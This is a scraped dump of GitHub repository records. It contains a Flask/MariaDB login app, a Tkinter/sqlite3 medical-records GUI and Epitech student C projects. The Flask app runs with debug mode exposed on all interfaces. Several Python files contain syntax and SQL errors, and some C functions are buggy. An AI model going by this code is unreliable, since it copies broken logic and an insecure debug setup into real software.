textoSomaErrado:{\n fontSize: 40,\n color: 'red'\n },\n score:{\n color: 'gray',\n fontSize: 30\n },\n win:{\n fontSize: 60,\n backgroundColor: 'yellow',\n\n }\n});\n" } ]
7
LaraPruna/FlaskApp-MariaDB
https://github.com/LaraPruna/FlaskApp-MariaDB
403e2941f94fca11b938338259b64073b516736e
d69a41dc9a2dababbb77183ea5d30095cd34b88a
69d48e55008f848e17df8def453440ab68dc1012
refs/heads/master
2023-08-26T11:43:30.221197
2021-11-02T20:35:14
2021-11-02T20:35:14
423,920,507
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6898016929626465, "alphanum_fraction": 0.7096317410469055, "avg_line_length": 26.19230842590332, "blob_id": "978393f91c19ac0884faa13456ebba988901fa69", "content_id": "27a91a40ee9a24091052c12468c4142fd1f76b22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 706, "license_type": "no_license", "max_line_length": 72, "num_lines": 26, "path": "/app.py", "repo_name": "LaraPruna/FlaskApp-MariaDB", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, abort, request\nimport os, pymysql\n\napp = Flask(__name__)\ncursor = None\n\[email protected]('/',methods=[\"GET\"])\ndef login():\n\treturn render_template(\"login.html\")\n\t\[email protected]('/buscador',methods=[\"POST\"])\ndef buscador():\n\tconexion = pymysql.connect(\n\t\thost='192.168.1.108',\n\t\tuser=request.form.get(\"usuario\"),\n\t\tpassword=request.form.get(\"contraseña\"),\n\t\tdb='viajes')\n\tfiltro=request.form.get(\"filtro\")\n\twith conexion.cursor() as cursor:\n\t\tcursor.execute(\"SELECT Destino from Viajes\")\n\t\tdestinos = cursor.fetchall()\n\tconexion.close()\n\treturn render_template(\"buscador.html\",filtro=filtro,destinos=destinos)\n\nport=os.environ[\"PORT\"]\napp.run('0.0.0.0',int(port),debug=True)" } ]
1
gavinomardixon/Database
https://github.com/gavinomardixon/Database
7dedd35914e19ae244af5cbdcf054219993b1459
6162785274b2c4ca27ff7bfed90e683cbd9532ab
3fef7ced1c3cf55af16799fe724a10389dc42bbf
refs/heads/main
2023-03-17T14:14:50.120823
2021-03-21T19:08:13
2021-03-21T19:08:13
350,093,269
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6078728437423706, "alphanum_fraction": 0.6093868017196655, "avg_line_length": 41.33333206176758, "blob_id": "b1eb214642cda3ac146489e86c5d1561b98e0784", "content_id": "8e834211db07c0fbc35ddbd77490faf142a15afe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1321, "license_type": "no_license", "max_line_length": 197, "num_lines": 30, "path": "/db.py", "repo_name": "gavinomardixon/Database", "src_encoding": "UTF-8", "text": "import sqlite3\r\n\r\nclass Database:\r\n\tdef __init__(self, db) -> gav.py:\r\n\t\tself.conn= sqlite3.connect(db)\r\n\t\tself.cur= self.conn.cursor()\r\n\t\tself.cur.execute(\"\"\"CREATE TABLE db (id INTEGER PRIMARY KEY,\r\n\t [NAME] text, [PARISH] text, \r\n\t [TELEPHONE] integer, [EMAIL] text, \r\n\t [TEST] text, [LAB] text, [USER] text, [ID] integer, [DATE] date, [TIME] time)\"\"\")\r\n\t\tself.conn.commit()\r\n\r\n\tdef fetch(self):\r\n\t\tself.cur.execute(\"SELECT * FROM db\")\r\n\t\trows= self.cur.fetchall()\r\n\t\treturn rows\r\n\tdef insert(self, NAME, PARISH, TELEPHONE, EMAIL, TEST, LAB, USER, ID, DATE, TIME):\r\n\t\tself.cur.execute (\"INSERT INTO db VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"(id, NAME, PARISH, TELEPHONE, EMAIL, TEST, LAB, USER, ID, DATE, TIME))\r\n\t\tself.conn.commit()\r\n\tdef remove (self, id):\r\n\t\tself.cur.execute(\"DELETE FROM db WHERE id=?\",(id,))\r\n\t\tself.conn.commit()\r\n\tdef update (self, id, NAME, PARISH, TELEPHONE, EMAIL, TEST, LAB, USER, ID, DATE, TIME):\r\n\t\tself.cur.execute(\"UPDATE db SET NAME=?, PARISH=?, TELEPHONE=?, EMAIL=?, TEST=?, LAB=?, USER=?, ID=?, DATE=?, TIME=?, WHERE id=?\", (NAME, PARISH, TELEPHONE, EMAIL, TEST, LAB, USER, ID, DATE, TIME)\r\n\t\tself.conn.commit()\r\n\tdef delete (self, id):\r\n\t\tself.cur.execute(\"DELETE FROM db WHERE id=?\", (id,))\r\n\t\tself.conn.commit()\r\n\tdef __del__(self):\r\n\t\tself.conn.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t" }, { "alpha_fraction": 0.8059701323509216, "alphanum_fraction": 0.8208954930305481, "avg_line_length": 32.5, "blob_id": "a6e50d44515c4700aba2e42ad55d88bbafcaa8f8", "content_id": "f179f839d5c17f73c7e58112f2a24976ef02ba5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 67, "license_type": "no_license", "max_line_length": 55, "num_lines": 2, "path": "/README.md", "repo_name": "gavinomardixon/Database", "src_encoding": "UTF-8", "text": "# Database\nCreate a database built with python tkinter and sqlite3\n" }, { "alpha_fraction": 0.5971822142601013, "alphanum_fraction": 0.6450528502464294, "avg_line_length": 38.54545593261719, "blob_id": "0bf9d07bb4bf250d2b9b8ded370a7c1a872dcbb3", "content_id": "7dc50b1960cfe5fa050dd94a2dc7eb5464eaab1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6246, "license_type": "no_license", "max_line_length": 248, "num_lines": 154, "path": "/gav.py", "repo_name": "gavinomardixon/Database", "src_encoding": "UTF-8", "text": "\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nfrom tkinter import filedialog\r\nimport tkinter as tk\r\nimport sqlite3\r\n\r\ndb=\"db.db\"\r\n\r\nroot=Tk()\r\ngavmed=Label(root, text=\"Gav-Med Solutions\")\r\ngavmed.pack()\r\n\r\ndef populate_list():\r\n db.(0, END)\r\n for row in db.fetch():\r\n db.insert(END, row)\r\n\r\ndef add_item():\r\n if name_text.get() ==''or parish_text.get() =='' or telephone_text.get() =='' or email_text.get() =='' or test_text.get() =='' or lab_text.get() =='' or user_text.get() =='' or id_text.get() =='' or date_text.get() =='' or time_text.get() =='':\r\n messagebox.showerror('Required Field', 'Please include all fields')\r\n return\r\n mylist.insert(name_text.get(), parish_text.get(), telephone_text.get(), email_text.get(), test_text.get(), lab_text.get(), user_text.get(), id_text.get(), date_text.get(), time_text.get())\r\n db.execute(name_text.get(), parish_text.get(), telephone_text.get(), email_text.get(), test_text.get(), lab_text.get(), user_text.get(), id_text.get(), date_text.get(), time_text.get())\r\n db.delete(0, END)\r\n db.execute(END, (name_text.get(), parish_text.get(), telephone_text.get(), email_text.get(), test_text.get(), lab_text.get(), user_text.get(), id_text.get(), date_text.get(), time_text.get()))\r\n clear_text()\r\n populate_list()\r\ndef select_item(event):\r\n try:\r\n global selected_item\r\n index=mylist.curselection()[0]\r\n selected_item= mylist.get(index)\r\n e1.delete(0, END)\r\n e1.insert(END, selected_item[1])\r\n e2.delete(0, END)\r\n e2.insert(END, selected_item[2])\r\n e3.delete(0, END)\r\n e3.insert(END, selected_item[3])\r\n e4.delete(0, END)\r\n e4.insert(END, selected_item[4])\r\n e5.delete(0, END)\r\n e5.insert(END, selected_item[5])\r\n e6.delete(0, END)\r\n e6.insert(END, selected_item[6])\r\n e7.delete(0, END)\r\n e7.insert(END, selected_item[7])\r\n e8.delete(0, END)\r\n e8.insert(END, selected_item[8])\r\n e9.delete(0, END)\r\n e9.insert(END, selected_item[9])\r\n e10.delete(0, END)\r\n e10.insert(END, selected_item[10])\r\n except IndexError:\r\n pass\r\ndef remove_item():\r\n db.delete(selected_item[0])\r\n clear_text()\r\n populate_list()\r\n\r\ndef update_item():\r\n db.update(selected_item, name_text.get(), parish_text.get(), telephone_text.get(), email_text.get(), test_text.get(), lab_text.get(), user_text.get(), id_text.get(), date_text.get(), time_text.get())\r\n populate_list()\r\n\r\ndef clear_text():\r\n e1.delete(0, END)\r\n e2.delete(0, END)\r\n e3.delete(0, END)\r\n e4.delete(0, END)\r\n e5.delete(0, END)\r\n e6.delete(0, END)\r\n e7.delete(0, END)\r\n e8.delete(0, END)\r\n e9.delete(0, END)\r\n e10.delete(0, END)\r\n\r\n\r\ndef getExcel():\r\n global df\r\n filepath= filedialog.askopenfilename()\r\n container= tk.Listbox(root, selectmode=\"multiple\")\r\n canvas= tk.Canvas(container)\r\n canvas.create_window((0,0), anchor=\"nw\")\r\n canvas.pack()\r\n\r\n\r\nmyButton=Button(root, text=\"Medical Laboratory\", bg=\"red\", fg=\"white\", command= getExcel)\r\nmyButton.pack()\r\n\r\nroot['bg']='lightblue'\r\nw=Canvas(root, bg=\"white\", height=250, width=300)\r\nim=PhotoImage(file=\"C:\\\\Users\\\\diana\\\\desktop\\\\gavmed.png\")\r\nw=Label(root, image=im)\r\nw.place(x=0, y=0, relwidth=1, relheight=1)\r\nw.pack()\r\nroot.iconphoto(False, im)\r\nmenubar=Menu(root)\r\nFile=Menu(menubar)\r\nFile.add_command(label=\"Doctor\", command= getExcel)\r\nFile.add_separator()\r\nFile.add_command(label=\"Patient\", command= getExcel)\r\nmenubar.add_cascade(label=\"File\",menu=File)\r\nEdit=Menu(root)\r\nEdit.add_command(label=\"Cut\")\r\nEdit.add_separator()\r\nEdit.add_command(label=\"Paste\")\r\nmenubar.add_cascade(label=\"Edit\", menu=Edit)\r\nView=Menu(root)\r\nView.add_command(label=\"Online\")\r\nView.add_separator()\r\nView.add_command(label=\"Offline\")\r\nmenubar.add_cascade(label=\"View\", menu=View)\r\nroot.config(menu=menubar)\r\nmylist=Listbox(root, height=15, width=800, border=0)\r\nmylist.place(x=0, y=400)\r\nmylist.bind('<<ListboxSelect>>', select_item)\r\nroot.geometry(\"500x200+100+100\")\r\nname_text=StringVar()\r\nl1=Label(root, text=\"Name\", bg=\"blue\", fg=\"white\").place(x=75, y=80)\r\nparish_text=StringVar()\r\nl2=Label(root, text=\"Parish\", bg=\"blue\", fg=\"white\").place(x=75, y=120)\r\ntelephone_text=StringVar()\r\nl3=Label(root, text=\"Telephone\", bg=\"blue\", fg=\"white\").place(x=75, y=160)\r\nemail_text=StringVar()\r\nl4=Label(root, text=\"Email\", bg=\"blue\", fg=\"white\").place(x=75, y=200)\r\ntest_text=StringVar()\r\nl5=Label(root, text=\"Test\", bg=\"blue\", fg=\"white\").place(x=75, y=240)\r\nlab_text=StringVar()\r\nl6=Label(root, text=\"Lab\", bg=\"blue\", fg=\"white\").place(x=75, y=280)\r\ne1=Entry(root, textvariable=name_text, bd=10).place(x=150, y=80)\r\ne2=Entry(root, textvariable=parish_text, bd=10).place(x=150, y=120)\r\ne3=Entry(root, textvariable=telephone_text, bd=10).place(x=150, y=160)\r\ne4=Entry(root, textvariable=email_text, bd=10).place(x=150, y=200)\r\ne5=Entry(root, textvariable=test_text, bd=10).place(x=150, y=240)\r\ne6=Entry(root, textvariable=lab_text, bd=10).place(x=150, y=280)\r\nuser_text=StringVar()\r\nl7=Label(root, text=\"USER\", bg=\"blue\", fg=\"white\").place(x=1100,y=80)\r\nid_text=StringVar()\r\nl8=Label(root, text=\"ID\", bg=\"blue\", fg=\"white\").place(x=1100, y=120)\r\ndate_text=StringVar()\r\nl9=Label(root, text=\"DATE\", bg=\"blue\", fg=\"white\").place(x=1100, y=160)\r\ntime_text=StringVar()\r\nl10=Label(root, text=\"TIME\", bg=\"blue\", fg=\"white\").place(x=1100, y=200)\r\ne7=Entry(root, textvariable=user_text, bd=10).place(x=1150, y=80)\r\ne8=Entry(root, textvariable=id_text, bd=10).place(x=1150, y=120)\r\ne9=Entry(root, textvariable=date_text, bd=10).place(x=1150, y=160)\r\ne10=Entry(root, textvariable=time_text, bd=10).place(x=1150, y=200)\r\nadd_b=Button(root, text=\"ADD\", width=12, bg=\"red\", fg=\"white\", command=add_item).place(x=1150, y=240)\r\nremove_b=Button(root, text=\"REMOVE\", width=12, bg=\"red\", fg=\"white\", command=remove_item).place(x=1150, y=280)\r\nupdate_b=Button(root, text=\"UPDATE\", width=12, bg=\"red\", fg=\"white\", command=update_item).place(x=1150, y=320)\r\nclear_b=Button(root, text=\"CLEAR\", width=12, bg=\"red\", fg=\"white\", command=clear_text).place(x=1150, y=360)\r\nroot.title(\"Gavin Omar Dixon\")\r\nroot.config(background=\"white\")\r\npopulate_list()\r\nroot.mainloop()\r\n" } ]
3
bartz-dev/Epitech_Project
https://github.com/bartz-dev/Epitech_Project
33b745c6c68c24461df8b7acbc21835a1221a43e
8d01f78093c0b965b491f0b36aa89025cab9b20a
73bcbe015f1849753775b7c421b6488d54e45902
refs/heads/main
2023-08-28T15:32:39.324743
2021-10-25T16:22:37
2021-10-25T16:22:37
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6426799297332764, "alphanum_fraction": 0.6526054739952087, "avg_line_length": 20.263158798217773, "blob_id": "909b4ff1b43c12ebf86359d8f7a88a74930af44a", "content_id": "c77dc7765c62bbe840775d26a367cad1ace369cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 403, "license_type": "no_license", "max_line_length": 73, "num_lines": 19, "path": "/tek1/Game/MUL_my_defender_2019/lib/json/json_stringify_string.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_stringify_string\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n\nchar *json_stringify_string(char *data)\n{\n char *to_return = my_strdup(\"\\\"\");\n char *slashes = addslashes(data);\n\n to_return = json_stringify_append(to_return, slashes);\n to_return = my_free_assign(to_return, my_strconcat(to_return, \"\\\"\"));\n return to_return;\n}" }, { "alpha_fraction": 0.5580645203590393, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 15.368420600891113, "blob_id": "cc2761a414fd7b7b2f2b22b5fa16decb40cec5e8", "content_id": "0186eb5fd16bab2e4fa2e5902bb3ed3a41537e6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 310, "license_type": "no_license", "max_line_length": 59, "num_lines": 19, "path": "/tek1/Advanced/PSU_42sh_2019/src/builtins/exit.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_42sh_2019\n** File description:\n** exit.c\n*/\n\n#include \"shell.h\"\n#include <stdlib.h>\n\nint builtin_exit(int argc, char **argv, dictionary_t **env)\n{\n int exit_status = 0;\n\n UNUSED(env);\n if (argc >= 2)\n exit_status = my_getnbr(argv[1]);\n exit(exit_status);\n}" }, { "alpha_fraction": 0.6096096038818359, "alphanum_fraction": 0.6216216087341309, "avg_line_length": 17.5, "blob_id": "d4175e393f6f662f4d286f65e67ce09931f9f405", "content_id": "cc427440895e8118430f4e7d9018f02629329f6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 333, "license_type": "no_license", "max_line_length": 50, "num_lines": 18, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_sorter_rotation.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_sorter_rotation.c\n*/\n\n#include \"pushswap.h\"\n\nvoid rotate(int *arr, struct req *req, char c)\n{\n int first_entry = remove_first(arr, req->len);\n\n add_to(arr, first_entry, req->len, req->len);\n my_put_char('r');\n my_put_char(c);\n end_instruction(req);\n}\n" }, { "alpha_fraction": 0.46341463923454285, "alphanum_fraction": 0.4918699264526367, "avg_line_length": 11.947368621826172, "blob_id": "533001d5b0c0635e1efbb9bcc31996cd60bbe9a2", "content_id": "23135ea4e20b69d73478d7c61fb56846aaee1f3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 246, "license_type": "no_license", "max_line_length": 30, "num_lines": 19, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_putstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_putstr\n** File description:\n** lib - mehdi.zehri\n*/\n\n#include \"navy.h\"\n\nint my_putstr(char const *str)\n{\n int a;\n\n a = 0;\n while (str[a] != '\\0') {\n my_putchar(str[a]);\n a = a + 1;\n }\n}\n" }, { "alpha_fraction": 0.35555556416511536, "alphanum_fraction": 0.4015873074531555, "avg_line_length": 14.365853309631348, "blob_id": "ab96d9382b5fe16ae6c9791a26d7f4fdd19f4d70", "content_id": "6eb88562574b227b4e76804c957eec1f28bd1c3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 630, "license_type": "no_license", "max_line_length": 34, "num_lines": 41, "path": "/tek1/Piscine/CPool_Day03_2019/my_put_nbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_put_nbr\n** File description:\n** \n*/\n\nint loops(int nb) {\n long rev = 0;\n int number = 0;\n\n while (nb > 0) {\n number = nb % 10;\n rev = rev * 10 + number;\n nb = nb / 10;\n }\n while (rev > 0) {\n number = rev % 10;\n if (number == 0) {\n number = number + 48 ;\n }\n my_putchar(number + 48);\n rev = rev / 10;\n }\n\n}\n\nint my_put_nbr (int nb)\n{\n long rev = 0;\n int number = 0;\n\n if (nb == 0) {\n my_putchar('0');\n }\n if (nb < 0) {\n my_putchar('-');\n nb = nb*(-1);\n }\n loops(nb);\n}\n" }, { "alpha_fraction": 0.5345858335494995, "alphanum_fraction": 0.5422715544700623, "avg_line_length": 18.847457885742188, "blob_id": "de85cfb921872633ee32d09f43a1d28839cec649", "content_id": "10d2aae71b9dae56426eecae3f8ead4003b9d9b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1171, "license_type": "no_license", "max_line_length": 80, "num_lines": 59, "path": "/tek1/Functionnal/CPE_BSQ_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## Makefile\n## File description:\n## Make automatic gcc command\n##\n\nSRC \t\t=\tlib/my/my_getnbr.c\t\\\n\t\t\t lib/my/my_putchar.c\t\t\\\n\t\t\t lib/my/my_put_nbr.c\t\\\n\t\t\t lib/my/my_putstr.c\t\\\n\t\t\t lib/my/my_strcpy.c\t\\\n\t\t\t lib/my/my_printf.c\t\\\n\t\t\t lib/my/my_revstr.c\t\\\n\t\t\t lib/my/my_str_to_word_array.c\t\\\n\t\t\t lib/my/my_strcat.c\t\\\n\t\t\t lib/my/my_strconcat.c\t\\\n\t\t\t lib/my/my_strdup.c\t\\\n\t\t\t lib/my/my_strlen.c\t\\\n\t\t\t lib/my/my_strlowcase.c\t\\\n\t\t\t lib/my/my_strncmp.c\t\\\n\t\t\t lib/my/my_strncpy.c\t\\\n\t\t\t lib/my/open_file.c\t\\\n\t\t\t lib/my/main.c\t\\\n\t\t\t lib/my/my_strtodouble.c\t\\\n\t\t\t lib/my/my_strlen2.c\t\\\n\t\t\t lib/my/strlen_nb_line.c\t\\\n\t\t\t lib/my/strlen_bn.c\t\\\n\t\t\t lib/my/error.c\t\\\n\t\t\t lib/my/my_check.c\t\\\n\t\t\t lib/my/test_tab2.c\t\\\n\t\t\t bsq.c\t\\\n\nFCT\t\t= \tlib/my/my.h\t\\\n\t\t\tlib/my/struct.h\t\\\n\nOBJ \t\t=\t$(SRC:.c=.o)\n\nCFLAGS += -W -Wall -Wextra -pedantic \nCFLAGS += -I./include -L./lib -lmy \n\nNAME\t\t=\tbsq\n\nNAME2\t\t=\tlibmy.a\n\nall: \t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\tar rc lib/$(NAME2) $(OBJ)\n\t\tcp $(FCT) include\n\t\tgcc -o $(NAME) $(OBJ) $(CFLAGS) \n\nclean:\n\trm -f $(OBJ)\n\nfclean: clean\n\trm -f $(NAME) lib/$(NAME2) include/*\n\nre: fclean all\n" }, { "alpha_fraction": 0.484375, "alphanum_fraction": 0.5364583134651184, "avg_line_length": 11.866666793823242, "blob_id": "35c8bb12450afbd4c3b41384bbb8a222582ac8df", "content_id": "0ada2b086260e3bd02b7ce657f05cf56d28f46f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 192, "license_type": "no_license", "max_line_length": 29, "num_lines": 15, "path": "/tek1/Advanced/PSU_navy_2019/lib/char_isalpha.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** isalpha.c\n*/\n\n#include \"navy.h\"\n\nint char_isalpha(char c)\n{\n if (c >= 'A' && c <= 'H')\n return 1;\n return 0;\n}" }, { "alpha_fraction": 0.4885057508945465, "alphanum_fraction": 0.517241358757019, "avg_line_length": 11.428571701049805, "blob_id": "7e11d5fd679f823f26950c3f1fe279e2dda27560", "content_id": "ddff4ccda188a5a3dd47b1e75e4f0c300c235256", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 174, "license_type": "no_license", "max_line_length": 25, "num_lines": 14, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/tools/my_arrlen.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_arrlen.c\n** File description:\n** my_arrlen\n*/\n\nint my_arrlen(char **arr)\n{\n int i = 0;\n while (arr[i])\n i++;\n return (i);\n}\n" }, { "alpha_fraction": 0.5180723071098328, "alphanum_fraction": 0.5327022671699524, "avg_line_length": 20.14545440673828, "blob_id": "15682fb06bd5c76ea68a11ec0035a0de4601a590", "content_id": "b9292b5c101eccf8334de95e3e690239050e17eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1162, "license_type": "no_license", "max_line_length": 63, "num_lines": 55, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/path_handling.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** path_handling\n** File description:\n** path_handling\n*/\n\n#include \"shell.h\"\n#include <stdlib.h>\n\nint get_path_line(char *path)\n{\n int incr = 0;\n int line_count = 0;\n\n while (path[incr] != 0) {\n if (path[incr] == ':') line_count++;\n incr++;\n }\n return line_count;\n}\n\nchar **malloc_parsed_path(char **parsed_path, char *path)\n{\n int line_count = get_path_line(path);\n int line_lenght = my_strlen(path);\n int incr = 0;\n\n parsed_path = malloc(sizeof(char *) * line_count + 1);\n while (incr < line_count + 1) {\n parsed_path[incr] = malloc(sizeof(char) * line_lenght);\n incr++;\n }\n parsed_path[incr] = 0;\n return parsed_path;\n}\n\nchar **parse_path(char *path)\n{\n char **parsed_path = malloc_parsed_path(parsed_path, path);\n int line = 0;\n int incr_p = 0;\n int incr_new_p = 0;\n\n while (path[incr_p] != 0) {\n if (path[incr_p] == ':') {\n parsed_path[line][incr_new_p] = 0;\n line++;\n incr_p++;\n incr_new_p = 0;\n }\n parsed_path[line][incr_new_p++] = path[incr_p++];\n }\n return parsed_path;\n}" }, { "alpha_fraction": 0.40909090638160706, "alphanum_fraction": 0.4469696879386902, "avg_line_length": 42.66666793823242, "blob_id": "5dbd9308d5cdf97bec10940e28cceb712261e2a9", "content_id": "105c18b76bc81f4ddf3a297711d772284675b170", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 132, "license_type": "no_license", "max_line_length": 117, "num_lines": 3, "path": "/tek1/Piscine/CPool_Day02_2019/r_tacpy.sh", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nsed \"1~2d\"| rev | cut -d \":\" -f7 | sort -r | sed -n \"$MY_LINE1, $MY_LINE2\"p | sed ':a;N;$!ba;s/\\n/, /g' | tr \"\\n\" \".\" \n" }, { "alpha_fraction": 0.6160409450531006, "alphanum_fraction": 0.6203071475028992, "avg_line_length": 16.507463455200195, "blob_id": "fff66aa31d41288a1935cc27ff20cdf773fd4d22", "content_id": "f102aa53d72177392e32f6cad570ca63e1c4ae1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1172, "license_type": "no_license", "max_line_length": 35, "num_lines": 67, "path": "/tek1/Advanced/PSU_navy_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## Makefile\n## File description:\n## Makefile\n##\n\nLIB\t=\tlib/my_putchar.c \\\n\t\tlib/base.c \\\n\t\tlib/my_char_isalpha.c\t\\\n\t\tlib/my_getnbr.c \\\n\t\tlib/my_printf.c \t\\\n\t\tlib/my_put_long.c\t\\\n\t\tlib/my_put_nbr.c \\\n\t\tlib/my_putnprintable.c \t\\\n\t\tlib/my_putstr.c \\\n\t\tlib/my_str_isalpha.c \t\\\n\t\tlib/my_str_isprintable.c \t\\\n\t\tlib/my_strlen.c \t\\\n\t\tlib/my_put_unsigned_long.c\t\\\n\t\tlib/my_put_unsinged_int.c \t\\\n\t\tlib/hexa_base.c\t\\\n\t\tlib/hexa_base_upper.c \t\\\n\t\tlib/hexa_base_long.c\t\\\n\t\tlib/base_long.c\t\\\n\t\tlib/isnum.c\t\\\n\t\tlib/char_isalpha.c\t\\\n\nSRC = \tmain.c \t\\\n\t\tsources/error/error_handling.c\t\\\n\t\tsources/error/pos_error.c\t\\\n\t\tsources/error/check_collision.c\t\\\n\t\tsources/error/mapchecking.c\t\\\n\t\tsources/memory.c\t\\\n\t\tsources/utils.c\t\\\n\t\tsources/print_map.c\t\\\n\t\tsources/help.c\t\\\n\t\tsources/client.c \t\\\n\t\tsources/server.c \t\\\n\t\tsources/navy.c \t\\\n\t\tsources/destroy.c \t\\\n\t\tsources/game.c\t\\\n\t\tsources/get_sig.c\t\\\n\t\tsources/attack.c\n\nCFLAGS\t=\t-I ./includes/ -g3\n\nOBJ\t= \t$(LIB:.c=.o)\t\\\n\t\t$(SRC:.c=.o)\n\nCC = @gcc\n\nNAME\t=\tnavy\n\nall:\t\t$(OBJ)\n\t@gcc -o $(NAME) $(OBJ) $(CFLAGS)\n\nclean:\n\t@rm -f $(OBJ)\n\t@echo CLEAN\n\nfclean: clean\n\t@rm -f $(NAME)\n\t@echo FCLEAN\n\nre:\tfclean all\n\t@echo RE" }, { "alpha_fraction": 0.44049903750419617, "alphanum_fraction": 0.466410756111145, "avg_line_length": 19.45098114013672, "blob_id": "7d34e99f1d5b9e1f0e40c6aca1499d043e0cf821", "content_id": "08dd1873e415b4df05cc490014535798b63f41b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1042, "license_type": "no_license", "max_line_length": 59, "num_lines": 51, "path": "/tek1/Functionnal/CPE_lemin_2019/src/error/file.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_lemin_2019\n** File description:\n** file.c\n*/\n\n#include \"tools.h\"\n#include \"lemin.h\"\n\nvoid cmdnbr_check(char *path, int i, int check[])\n{\n char *start = \"start\";\n char *end = \"end\";\n char *new_str = malloc(sizeof(char) * 5);\n int p = 0;\n\n while (p != my_strlen(start)) {\n if (start[p] == path[i])\n new_str[p] = path[i];\n else if (end[p] == path[i]) {\n new_str[p] = path[i];\n }\n p++;\n i++;\n }\n if (!my_strcmp(new_str, start) == 1)\n check[0]++;\n if (!my_strcmp(new_str, end) == 1)\n check[1]++;\n free(new_str);\n}\n\nint checkfile_error(char *filepath)\n{\n int i = 0;\n int check[] = {0, 0};\n\n filepath = read_file(filepath);\n my_putstr(filepath);\n while (filepath[i] != 0) {\n if (filepath[i] == '#' && filepath[i + 1] == '#') {\n cmdnbr_check(filepath, i + 2, &check);\n }\n i++;\n }\n if (check[0] == 1 && check[1] == 1)\n return 0;\n else\n return 84;\n}" }, { "alpha_fraction": 0.41035473346710205, "alphanum_fraction": 0.46212849020957947, "avg_line_length": 15.3125, "blob_id": "2445b4ee5ba4127b45bd4f710904aae7f500a1b8", "content_id": "c34c2c4b042c6a85935ddffe49c5f865ba29eb61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1043, "license_type": "no_license", "max_line_length": 47, "num_lines": 64, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/utils.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** utils.c\n*/\n\n#include <unistd.h>\n#include \"../include/my.h\"\n\nchar *baseconv(char *string, int nbr, int base)\n{\n int count;\n char alpha[11] = \"0123456789\";\n\n for (count = 0; nbr != 0; count++) {\n string[count] = alpha[nbr % base];\n nbr = nbr / base;\n }\n string[count] = '\\0';\n return string;\n}\n\nint my_strcmp(char const *s1, char const *s2)\n{\n for (int i = 0; s1[i] == s2[i]; i++)\n if (s1[i] == '\\0' && s2[i] == '\\0')\n return (1);\n return (0);\n}\n\nvoid my_putstr(char *str)\n{\n int i = 0;\n\n while (str[i] != 0) {\n write(1, &str[i], 1);\n i++;\n }\n}\n\nvoid my_put_nbr(int nb)\n{\n char sign = '-';\n\n if (nb > 9)\n my_put_nbr(nb / 10);\n else if (nb < 0) {\n nb *= -1;\n write(1, &sign, 1);\n my_put_nbr(nb / 10);\n }\n sign = '0' + nb % 10;\n write(1, &sign, 1);\n}\n\nint my_strlen(char *str)\n{\n int i = 0;\n\n while (str[i] != 0)\n i++;\n return i;\n}" }, { 